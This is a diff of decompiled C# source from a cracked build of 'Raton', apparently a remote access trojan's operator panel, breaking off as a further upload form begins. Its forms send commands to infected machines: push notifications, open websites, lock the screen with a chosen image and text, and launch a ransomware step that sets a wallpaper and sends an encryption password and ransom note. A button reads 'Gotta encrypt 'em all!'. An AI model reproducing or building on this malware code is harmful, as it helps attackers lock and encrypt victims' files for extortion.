this.label2.Size = new Size(49, 15);
|
||||
this.label2.TabIndex = 3;
|
||||
this.label2.Text = "Content";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||||
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.rgbBuildButton1.ForeColor = Color.White;
|
||||
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_notepad_person_24_filled;
|
||||
this.rgbBuildButton1.IconSize = 25;
|
||||
this.rgbBuildButton1.IconSpacing = 8;
|
||||
this.rgbBuildButton1.Location = new Point(10, 390);
|
||||
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||||
this.rgbBuildButton1.Size = new Size(656, 46);
|
||||
this.rgbBuildButton1.TabIndex = 4;
|
||||
this.rgbBuildButton1.Text = "Send notepad";
|
||||
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(677, 453);
|
||||
this.Controls.Add((Control) this.rgbBuildButton1);
|
||||
this.Controls.Add((Control) this.textBox2);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonNotepad);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonNotepad);
|
||||
this.Load += new EventHandler(this.ratonNotepad_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,143 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonNotify
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonNotify : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private TextBox textBox2;
|
||||
private TextBox textBox1;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private Timer timer1;
|
||||
private RgbBuildButton rgbBuildButton1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonNotify()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.textBox1.TextLength < 1)
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else if (this.textBox2.TextLength < 3)
|
||||
{
|
||||
int num2 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
int num3 = 10;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Notify");
|
||||
pack.SetString("content", this.textBox1.Text);
|
||||
pack.SetString("title", this.textBox2.Text);
|
||||
pack.SetInt("time", num3);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num4 = (int) Messenger.MessageBox("Notification sent to the client", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ratonNotify_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonNotify));
|
||||
this.textBox2 = new TextBox();
|
||||
this.textBox1 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.rgbBuildButton1 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.textBox2.Location = new Point(10, 80 /*0x50*/);
|
||||
this.textBox2.MaxLength = 200;
|
||||
this.textBox2.Multiline = true;
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.Size = new Size(656, 308);
|
||||
this.textBox2.TabIndex = 6;
|
||||
this.textBox1.Location = new Point(10, 32 /*0x20*/);
|
||||
this.textBox1.MaxLength = 40;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(655, 22);
|
||||
this.textBox1.TabIndex = 5;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new Point(7, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(29, 15);
|
||||
this.label1.TabIndex = 7;
|
||||
this.label1.Text = "Title";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new Point(7, 62);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(49, 15);
|
||||
this.label2.TabIndex = 8;
|
||||
this.label2.Text = "Content";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||||
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.rgbBuildButton1.ForeColor = Color.White;
|
||||
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_circle_edit_24_filled;
|
||||
this.rgbBuildButton1.IconSize = 25;
|
||||
this.rgbBuildButton1.IconSpacing = 8;
|
||||
this.rgbBuildButton1.Location = new Point(10, 395);
|
||||
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||||
this.rgbBuildButton1.Size = new Size(655, 46);
|
||||
this.rgbBuildButton1.TabIndex = 9;
|
||||
this.rgbBuildButton1.Text = "Send notification";
|
||||
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(677, 461);
|
||||
this.Controls.Add((Control) this.rgbBuildButton1);
|
||||
this.Controls.Add((Control) this.textBox2);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonNotify);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonNotify);
|
||||
this.Load += new EventHandler(this.ratonNotify_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,213 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonRansomware
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonRansomware : Form
|
||||
{
|
||||
private static string defaultImagePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Ransomware.jpg");
|
||||
private string selectedImagePath = File.Exists(ratonRansomware.defaultImagePath) ? ratonRansomware.defaultImagePath : string.Empty;
|
||||
private IContainer components;
|
||||
private TextBox textBox1;
|
||||
private Label label1;
|
||||
private Timer timer1;
|
||||
private Button button1;
|
||||
private TextBox textBox2;
|
||||
private Label label2;
|
||||
private PictureBox pictureBox1;
|
||||
private RgbBuildButton rgbBuildButton1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonRansomware()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonRansomware_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.textBox1.TextLength < 1)
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Please insert some text", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else if (this.textBox2.TextLength < 1)
|
||||
{
|
||||
int num2 = (int) Messenger.MessageBox("Please insert a password", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else if (string.IsNullOrEmpty(this.selectedImagePath))
|
||||
{
|
||||
int num3 = (int) Messenger.MessageBox("Please select the wallpaper", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
string base64String = Convert.ToBase64String(File.ReadAllBytes(this.selectedImagePath));
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "Wallpaper");
|
||||
pack1.SetString("Image", base64String);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "Encrypt");
|
||||
pack2.SetString("Password", this.textBox1.Text);
|
||||
pack2.SetString("Content", this.textBox2.Text);
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
int num4 = (int) Messenger.MessageBox("Ransomware attack executed, it will take some moments depending on the network", "Encryptor", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
}
|
||||
|
||||
private void pictureBox1_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||
{
|
||||
openFileDialog.Title = "Select a wallpaper";
|
||||
openFileDialog.Filter = "Windows supported|*.jpg;*.jpeg;*.bmp";
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
try
|
||||
{
|
||||
this.selectedImagePath = openFileDialog.FileName;
|
||||
Path.GetFileName(this.selectedImagePath);
|
||||
this.pictureBox1.BackgroundImage = Image.FromFile(this.selectedImagePath);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.button1.Text == "Show")
|
||||
{
|
||||
this.button1.Text = "Hide";
|
||||
this.textBox1.UseSystemPasswordChar = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.button1.Text = "Show";
|
||||
this.textBox1.UseSystemPasswordChar = true;
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonRansomware));
|
||||
this.textBox1 = new TextBox();
|
||||
this.label1 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.button1 = new Button();
|
||||
this.textBox2 = new TextBox();
|
||||
this.label2 = new Label();
|
||||
this.pictureBox1 = new PictureBox();
|
||||
this.rgbBuildButton1 = new RgbBuildButton();
|
||||
((ISupportInitialize) this.pictureBox1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox1.Location = new Point(15, 28);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(586, 22);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.textBox1.UseSystemPasswordChar = true;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 9);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(117, 15);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "Encryption password";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.button1.Location = new Point(607, 28);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(64 /*0x40*/, 23);
|
||||
this.button1.TabIndex = 2;
|
||||
this.button1.Text = "Show";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.textBox2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.textBox2.Location = new Point(15, 81);
|
||||
this.textBox2.Multiline = true;
|
||||
this.textBox2.Name = "textBox2";
|
||||
this.textBox2.Size = new Size(656, 130);
|
||||
this.textBox2.TabIndex = 3;
|
||||
this.textBox2.Text = componentResourceManager.GetString("textBox2.Text");
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(12, 62);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(76, 15);
|
||||
this.label2.TabIndex = 4;
|
||||
this.label2.Text = "Ransom note";
|
||||
this.pictureBox1.BackgroundImage = (Image) Resources.Ransomware;
|
||||
this.pictureBox1.BackgroundImageLayout = ImageLayout.Zoom;
|
||||
this.pictureBox1.Location = new Point(15, 218);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new Size(656, 282);
|
||||
this.pictureBox1.TabIndex = 6;
|
||||
this.pictureBox1.TabStop = false;
|
||||
this.pictureBox1.Click += new EventHandler(this.pictureBox1_Click);
|
||||
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||||
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.rgbBuildButton1.ForeColor = Color.White;
|
||||
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_lock_shield_24_filled;
|
||||
this.rgbBuildButton1.IconSize = 26;
|
||||
this.rgbBuildButton1.IconSpacing = 8;
|
||||
this.rgbBuildButton1.Location = new Point(15, 507);
|
||||
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||||
this.rgbBuildButton1.Size = new Size(656, 46);
|
||||
this.rgbBuildButton1.TabIndex = 7;
|
||||
this.rgbBuildButton1.Text = "Gotta encrypt 'em all!";
|
||||
this.rgbBuildButton1.Click += new EventHandler(this.button2_Click);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(691, 577);
|
||||
this.Controls.Add((Control) this.rgbBuildButton1);
|
||||
this.Controls.Add((Control) this.textBox2);
|
||||
this.Controls.Add((Control) this.pictureBox1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonRansomware);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonRansomware);
|
||||
this.Load += new EventHandler(this.ratonRansomware_Load);
|
||||
((ISupportInitialize) this.pictureBox1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,158 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonScreenLocker
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonScreenLocker : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Label label1;
|
||||
private TextBox textBox1;
|
||||
private Label label2;
|
||||
private PictureBox pictureBox1;
|
||||
private Timer timer1;
|
||||
private RgbBuildButton rgbBuildButton1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonScreenLocker()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
public byte[] GetImageBytes()
|
||||
{
|
||||
if (this.pictureBox1.BackgroundImage == null)
|
||||
return new byte[0];
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
this.pictureBox1.BackgroundImage.Save((Stream) memoryStream, this.pictureBox1.BackgroundImage.RawFormat);
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Lock");
|
||||
pack.SetString("Text", this.textBox1.Text);
|
||||
pack.Set("Image", this.GetImageBytes());
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num = (int) Messenger.MessageBox("Screen locked successfully", "Success", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void pictureBox1_Click(object sender, EventArgs e)
|
||||
{
|
||||
OpenFileDialog openFileDialog = new OpenFileDialog();
|
||||
openFileDialog.Filter = "Screenlocker supported|*.jpg;*.jpeg;*.png;*.bmp";
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
this.pictureBox1.BackgroundImage = Image.FromFile(openFileDialog.FileName);
|
||||
}
|
||||
|
||||
private void ratonScreenLocker_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonScreenLocker));
|
||||
this.label1 = new Label();
|
||||
this.textBox1 = new TextBox();
|
||||
this.label2 = new Label();
|
||||
this.pictureBox1 = new PictureBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.rgbBuildButton1 = new RgbBuildButton();
|
||||
((ISupportInitialize) this.pictureBox1).BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new Point(13, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(97, 15);
|
||||
this.label1.TabIndex = 0;
|
||||
this.label1.Text = "Screen locker text";
|
||||
this.textBox1.Location = new Point(12, 32 /*0x20*/);
|
||||
this.textBox1.MaxLength = 2000;
|
||||
this.textBox1.Multiline = true;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(573, 81);
|
||||
this.textBox1.TabIndex = 1;
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new Point(13, 125);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(110, 15);
|
||||
this.label2.TabIndex = 2;
|
||||
this.label2.Text = "Screen locker image";
|
||||
this.pictureBox1.BackgroundImage = (Image) Resources._74b5e4b721827ea2500de684d2c839f6;
|
||||
this.pictureBox1.BackgroundImageLayout = ImageLayout.Stretch;
|
||||
this.pictureBox1.Location = new Point(16 /*0x10*/, 144 /*0x90*/);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new Size(569, 417);
|
||||
this.pictureBox1.SizeMode = PictureBoxSizeMode.CenterImage;
|
||||
this.pictureBox1.TabIndex = 3;
|
||||
this.pictureBox1.TabStop = false;
|
||||
this.pictureBox1.Click += new EventHandler(this.pictureBox1_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||||
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.rgbBuildButton1.ForeColor = Color.White;
|
||||
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_lock_shield_24_filled;
|
||||
this.rgbBuildButton1.IconSize = 25;
|
||||
this.rgbBuildButton1.IconSpacing = 8;
|
||||
this.rgbBuildButton1.Location = new Point(12, 567);
|
||||
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||||
this.rgbBuildButton1.Size = new Size(573, 46);
|
||||
this.rgbBuildButton1.TabIndex = 4;
|
||||
this.rgbBuildButton1.Text = "Lock screen";
|
||||
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(601, 626);
|
||||
this.Controls.Add((Control) this.rgbBuildButton1);
|
||||
this.Controls.Add((Control) this.pictureBox1);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonScreenLocker);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonScreenLocker);
|
||||
this.Load += new EventHandler(this.ratonScreenLocker_Load);
|
||||
((ISupportInitialize) this.pictureBox1).EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,119 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonURL
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Misc;
|
||||
|
||||
public class ratonURL : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private TextBox textBox1;
|
||||
private Timer timer1;
|
||||
private Label label1;
|
||||
private RgbBuildButton rgbBuildButton1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonURL()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonURL_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
Uri result;
|
||||
if (Uri.TryCreate(this.textBox1.Text, UriKind.Absolute, out result) && (result.Scheme == Uri.UriSchemeHttp || result.Scheme == Uri.UriSchemeHttps))
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Website");
|
||||
pack.SetString("URL", this.textBox1.Text.ToString());
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num = (int) Messenger.MessageBox("URL sent", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
else
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Please insert a valid URL", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonURL));
|
||||
this.textBox1 = new TextBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.rgbBuildButton1 = new RgbBuildButton();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.Location = new Point(13, 34);
|
||||
this.textBox1.MaxLength = 200;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.Size = new Size(325, 22);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Location = new Point(13, 15);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(152, 15);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Please enter the URL to visit";
|
||||
this.rgbBuildButton1.Cursor = Cursors.Arrow;
|
||||
this.rgbBuildButton1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.rgbBuildButton1.ForeColor = Color.White;
|
||||
this.rgbBuildButton1.Icon = (Image) Resources.ic_fluent_people_search_24_filled1;
|
||||
this.rgbBuildButton1.IconSize = 25;
|
||||
this.rgbBuildButton1.IconSpacing = 8;
|
||||
this.rgbBuildButton1.Location = new Point(12, 62);
|
||||
this.rgbBuildButton1.Name = "rgbBuildButton1";
|
||||
this.rgbBuildButton1.Size = new Size(325, 46);
|
||||
this.rgbBuildButton1.TabIndex = 3;
|
||||
this.rgbBuildButton1.Text = "Visit website";
|
||||
this.rgbBuildButton1.Click += new EventHandler(this.button1_Click);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(350, 125);
|
||||
this.Controls.Add((Control) this.rgbBuildButton1);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonURL);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonURL);
|
||||
this.Load += new EventHandler(this.ratonURL_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,304 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Misc.ratonUpload
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
